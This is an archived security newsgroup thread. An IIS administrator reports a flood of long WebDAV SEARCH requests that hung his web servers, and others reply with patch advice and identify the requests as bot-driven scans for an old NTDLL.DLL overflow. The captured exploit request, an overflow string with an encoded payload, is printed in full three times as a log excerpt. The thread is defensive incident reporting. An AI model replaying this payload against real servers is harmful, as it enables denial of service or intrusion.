|
|
You're in the
iis security
group:New Security hole?
iis security:
websites stopped responding on http, I checked the logs=20 and found this: SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA???=18?????????????????????????????????? ####?????????? rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrlim ddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpid jndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdelid loilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigss ijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpi ggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlo dpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnrl somksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgdddddddh ddddddssssddddolddddddddddddddhddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddddddddddddddrldddddddreson drddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjs khfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhdddddddd ddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfhi jimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimjo mhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhdddddddd ddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddiq rlegjeddddddddddddddddrddddsdedodekmqkddgdddddddedddddddmd ddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhdddd dddddddddddhddddddddddddddddrddddddddhdddddddddddddgdddddd ddddedddddedddddddddedddddedddddddddddddeddddddddddddddddd ddddddddqdddddgldedddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddmdddddddeddddddddddddddddh ddddddddddddddddddddddddddddldddddrdddddddddddddddddddgddd ddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddrd ddddddddddddddddddedddddddqddddddddfddddddgddddddddddddddd ddddddddddddddhdddddpddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkigi jldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldf kidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqgl hehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhd dirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmiklir egqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlioqgqme pkliirdkffkpmrehpqhhfmdpiokihkrhlegrkjsepnidopsflpskgoieeo qoqosssssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidoj sfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsr qskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjp qklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsj kkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidk dsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidjlqlkgiesg kfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklfh dkdeopisirlephpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsqo grgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhskqleopddgkpphedhplf rmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmip dldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogped igiikesgdfogimmlhesskqrkkrdslijpdqfpedrpnesdnieekhempkdiql sromprkikoileknieddjesdjrproekoofkfkpseljhdddedlgpdhdplphp jkhldlndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehld neklpkliqslhlfjqlmihjgkpgnfpksginegldroksorjdhdmsskhfoidgp egsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgnldgjqqidn pphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhkg mssqjqikiffkjlndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnsspm qhrmkjdqpspoelipoheldlereprrfedgejkoskeffpdhfhkpjlmdjekqeq eoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdlerj sspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfeddg sfrodolojikqmdjsooeiperddpsdfoeodldslkmi - 404 - This is some kind of URL Request that after getting it a=20 few times IIS will stop responding on HTTP. It came from different IP addresses in the world and=20 seems to be from machines with Windows98 (Trojan horse=20 maybe?) I fixed it with installing URLSCAN tool on IIS which=20 automatically rejects these requests. If anyone has information about it or has seen it too=20 please reply here. Regards, Kfir cohen -MCSE Systems Manager.
Yes I have but I can see on the logs after I installed=20
the URLSCAN that now it rejects these URL requests. By the way all the requests come from win98 machines with=20 IE5.5, probably it's a new torjan horse that tries to get=20 into machines on port 80 Kfir [quoted text, click to view] >-----Original Message-----
>Do you have MS04-011 installed on this machine? >http://www.microsoft.com/technet/security/Bulletin/MS04- 011.mspx > >Cheers >Ken > >"Kfir" <kc@csgglobal.com> wrote in message >news:564701c42d07$6f5292c0$a101280a@phx.gbl... >I may found a new security hole in IIS. Some of my >websites stopped responding on http, I checked the logs >and found this: > >SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A >AAAAAAAAA???=18?????????????????????????????????? >####?????????? >rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrli m >ddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpi d >jndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdeli d >loilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigs s >ijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgp i >ggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjl o >dpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnr l >somksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgddddddd h >ddddddssssddddolddddddddddddddhdddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddrldddddddreso n >drddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrj s >khfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhddddddd d >ddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfh i >jimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimj o >mhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhddddddd d >ddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddi q >rlegjeddddddddddddddddrddddsdedodekmqkddgdddddddedddddddm d >ddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhddd d >dddddddddddhddddddddddddddddrddddddddhdddddddddddddgddddd d >ddddedddddedddddddddedddddedddddddddddddedddddddddddddddd d >ddddddddqdddddgldeddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddmdddddddedddddddddddddddd h >ddddddddddddddddddddddddddddldddddrdddddddddddddddddddgdd d >ddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddr d >ddddddddddddddddddedddddddqddddddddfddddddgdddddddddddddd d >ddddddddddddddhdddddpdddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d >ddddddddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkig i >jldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsld f >kidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqg l >hehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdh d >dirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmikli r >egqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlioqgqm e >pkliirdkffkpmrehpqhhfmdpiokihkrhlegrkjsepnidopsflpskgoiee o >qoqosssssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefido j >sfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhps r >qskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdj p >qklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihds j >kkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfid k >dsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidjlqlkgies g >kfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklf h >dkdeopisirlephpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsq o >grgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhskqleopddgkpphedhpl f >rmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmi p >dldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogpe d >igiikesgdfogimmlhesskqrkkrdslijpdqfpedrpnesdnieekhempkdiq l >sromprkikoileknieddjesdjrproekoofkfkpseljhdddedlgpdhdplph p >jkhldlndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehl d >neklpkliqslhlfjqlmihjgkpgnfpksginegldroksorjdhdmsskhfoidg p >egsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgnldgjqqid n >pphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhk g >mssqjqikiffkjlndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnssp m >qhrmkjdqpspoelipoheldlereprrfedgejkoskeffpdhfhkpjlmdjekqe q >eoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdler j >sspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfedd g >sfrodolojikqmdjsooeiperddpsdfoeodldslkmi - 404 - > >This is some kind of URL Request that after getting it a >few times IIS will stop responding on HTTP. > >It came from different IP addresses in the world and >seems to be from machines with Windows98 (Trojan horse >maybe?) > >I fixed it with installing URLSCAN tool on IIS which >automatically rejects these requests. > >If anyone has information about it or has seen it too >please reply here. > >Regards, > >Kfir cohen -MCSE >Systems Manager. > > > > >.
It looks like a scan for the old NTDLL.DLL vulnerability via WebDAV that was
fixed by the MS03-007 patch. The resurgence of these scans now is probably due to the Agobot / Gaobot / Polybot / Phatbot family of trojans. URLScan and IIS Lockdown is a good bet, I would have wanted it on there right from the start of the server's life. I wouldn't recommend running an IIS 5 or older server without it. [quoted text, click to view] "Kfir" <kc@csgglobal.com> wrote in message I may found a new security hole in IIS. Some of mynews:564701c42d07$6f5292c0$a101280a@phx.gbl... websites stopped responding on http, I checked the logs and found this: SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA????????????????????????????????????? ####?????????? rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrlim ddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpid jndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdelid loilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigss ijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpi ggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlo dpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnrl somksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgdddddddh ddddddssssddddolddddddddddddddhddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddddddddddddddrldddddddreson drddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjs khfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhdddddddd ddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfhi jimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimjo mhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhdddddddd ddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddiq rlegjeddddddddddddddddrddddsdedodekmqkddgdddddddedddddddmd ddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhdddd dddddddddddhddddddddddddddddrddddddddhdddddddddddddgdddddd ddddedddddedddddddddedddddedddddddddddddeddddddddddddddddd ddddddddqdddddgldedddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddmdddddddeddddddddddddddddh ddddddddddddddddddddddddddddldddddrdddddddddddddddddddgddd ddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddrd ddddddddddddddddddedddddddqddddddddfddddddgddddddddddddddd ddddddddddddddhdddddpddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkigi jldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldf kidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqgl hehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhd dirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmiklir egqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlioqgqme pkliirdkffkpmrehpqhhfmdpiokihkrhlegrkjsepnidopsflpskgoieeo qoqosssssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidoj sfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsr qskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjp qklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsj kkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidk dsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidjlqlkgiesg kfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklfh dkdeopisirlephpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsqo grgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhskqleopddgkpphedhplf rmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmip dldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogped igiikesgdfogimmlhesskqrkkrdslijpdqfpedrpnesdnieekhempkdiql sromprkikoileknieddjesdjrproekoofkfkpseljhdddedlgpdhdplphp jkhldlndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehld neklpkliqslhlfjqlmihjgkpgnfpksginegldroksorjdhdmsskhfoidgp egsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgnldgjqqidn pphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhkg mssqjqikiffkjlndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnsspm qhrmkjdqpspoelipoheldlereprrfedgejkoskeffpdhfhkpjlmdjekqeq eoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdlerj sspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfeddg sfrodolojikqmdjsooeiperddpsdfoeodldslkmi - 404 - This is some kind of URL Request that after getting it a few times IIS will stop responding on HTTP. It came from different IP addresses in the world and seems to be from machines with Windows98 (Trojan horse maybe?) I fixed it with installing URLSCAN tool on IIS which automatically rejects these requests. If anyone has information about it or has seen it too please reply here. Regards, Kfir cohen -MCSE Systems Manager.
Do you have MS04-011 installed on this machine?
http://www.microsoft.com/technet/security/Bulletin/MS04-011.mspx Cheers Ken [quoted text, click to view] "Kfir" <kc@csgglobal.com> wrote in message I may found a new security hole in IIS. Some of mynews:564701c42d07$6f5292c0$a101280a@phx.gbl... websites stopped responding on http, I checked the logs and found this: SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA????????????????????????????????????? ####?????????? rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrlim ddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpid jndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdelid loilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigss ijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpi ggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlo dpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnrl somksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgdddddddh ddddddssssddddolddddddddddddddhddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddddddddddddddrldddddddreson drddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjs khfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhdddddddd ddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfhi jimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimjo mhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhdddddddd ddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddiq rlegjeddddddddddddddddrddddsdedodekmqkddgdddddddedddddddmd ddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhdddd dddddddddddhddddddddddddddddrddddddddhdddddddddddddgdddddd ddddedddddedddddddddedddddedddddddddddddeddddddddddddddddd ddddddddqdddddgldedddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddmdddddddeddddddddddddddddh ddddddddddddddddddddddddddddldddddrdddddddddddddddddddgddd ddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddrd ddddddddddddddddddedddddddqddddddddfddddddgddddddddddddddd ddddddddddddddhdddddpddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkigi jldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldf kidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqgl hehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhd dirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmiklir egqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlioqgqme pkliirdkffkpmrehpqhhfmdpiokihkrhlegrkjsepnidopsflpskgoieeo qoqosssssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidoj sfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsr qskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjp qklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsj kkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidk dsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidjlqlkgiesg kfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklfh dkdeopisirlephpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsqo grgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhskqleopddgkpphedhplf rmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmip dldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogped igiikesgdfogimmlhesskqrkkrdslijpdqfpedrpnesdnieekhempkdiql sromprkikoileknieddjesdjrproekoofkfkpseljhdddedlgpdhdplphp jkhldlndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehld neklpkliqslhlfjqlmihjgkpgnfpksginegldroksorjdhdmsskhfoidgp egsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgnldgjqqidn pphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhkg mssqjqikiffkjlndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnsspm qhrmkjdqpspoelipoheldlereprrfedgejkoskeffpdhfhkpjlmdjekqeq eoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdlerj sspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfeddg sfrodolojikqmdjsooeiperddpsdfoeodldslkmi - 404 - This is some kind of URL Request that after getting it a few times IIS will stop responding on HTTP. It came from different IP addresses in the world and seems to be from machines with Windows98 (Trojan horse maybe?) I fixed it with installing URLSCAN tool on IIS which automatically rejects these requests. If anyone has information about it or has seen it too please reply here. Regards, Kfir cohen -MCSE Systems Manager.
Don't see what you're looking for? Try a search.
|
June 2003
July 2003
August 2003
September 2003
October 2003
November 2003
December 2003
January 2004
February 2004
March 2004
April 2004
May 2004
June 2004
July 2004
August 2004
September 2004
October 2004
November 2004
December 2004
January 2005
February 2005
March 2005
April 2005
May 2005
June 2005
July 2005
August 2005
September 2005
October 2005
November 2005
December 2005
January 2006
February 2006
March 2006
April 2006
May 2006
June 2006
July 2006
August 2006
September 2006
October 2006
November 2006
December 2006
January 2007
February 2007
March 2007
April 2007
May 2007
June 2007
July 2007
August 2007
September 2007
October 2007
November 2007
December 2007
January 2008
February 2008
March 2008
April 2008
May 2008
June 2008
| home · blog · groups | Questions? Comments? Contact the dn |